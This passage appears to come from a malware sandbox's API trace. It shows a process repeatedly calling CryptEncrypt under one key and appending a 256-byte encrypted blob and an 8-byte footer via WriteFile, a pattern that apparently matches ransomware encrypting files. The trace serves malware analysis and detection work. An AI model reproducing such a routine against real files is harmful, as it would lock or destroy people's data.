[0226.119] CloseHandle (hObject=0x2aec) returned 1 [0226.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.129] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.129] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.129] CloseHandle (hObject=0x2aec) returned 1 [0226.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.132] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.132] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.132] CloseHandle (hObject=0x2aec) returned 1 [0226.154] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.154] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.154] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.154] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.155] CloseHandle (hObject=0x2aec) returned 1 [0226.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.162] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.163] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.163] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.163] CloseHandle (hObject=0x2aec) returned 1 [0226.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.177] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.177] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.178] CloseHandle (hObject=0x2aec) returned 1 [0226.182] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.182] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.182] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.182] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.182] CloseHandle (hObject=0x2aec) returned 1 [0226.225] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.225] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.226] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.226] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.226] CloseHandle (hObject=0x2aec) returned 1 [0226.247] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.247] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.247] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.248] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.248] CloseHandle (hObject=0x2aec) returned 1 [0226.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.263] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.263] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.263] CloseHandle (hObject=0x2aec) returned 1 [0226.270] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.270] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.270] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.270] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.271] CloseHandle (hObject=0x2aec) returned 1 [0226.287] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.287] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.287] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.288] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.288] CloseHandle (hObject=0x2aec) returned 1 [0226.298] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.298] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.299] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.299] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.299] CloseHandle (hObject=0x2aec) returned 1 [0226.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.322] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.322] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.323] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.323] CloseHandle (hObject=0x2aec) returned 1 [0226.326] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.326] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.327] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.327] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.327] CloseHandle (hObject=0x2aec) returned 1 [0226.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.330] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.330] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.331] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.331] CloseHandle (hObject=0x2aec) returned 1 [0226.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.341] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.341] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.342] CloseHandle (hObject=0x2aec) returned 1 [0226.344] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.344] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.345] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.345] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.345] CloseHandle (hObject=0x2aec) returned 1 [0226.350] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.350] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.350] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.350] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.351] CloseHandle (hObject=0x2aec) returned 1 [0226.353] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.354] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.354] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.354] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.355] CloseHandle (hObject=0x2aec) returned 1 [0226.358] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.358] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386d570*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386d570*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.358] WriteFile (in: hFile=0x2aec, lpBuffer=0x386d570*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386d570*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.359] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.359] CloseHandle (hObject=0x2aec) returned 1 [0226.362] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.362] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.362] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.363] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.363] CloseHandle (hObject=0x2aec) returned 1 [0226.366] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.366] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.366] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.366] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.366] CloseHandle (hObject=0x2aec) returned 1 [0226.369] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.369] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.369] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.370] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.370] CloseHandle (hObject=0x2aec) returned 1 [0226.385] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.385] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.386] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.386] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.386] CloseHandle (hObject=0x2aec) returned 1 [0226.389] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) 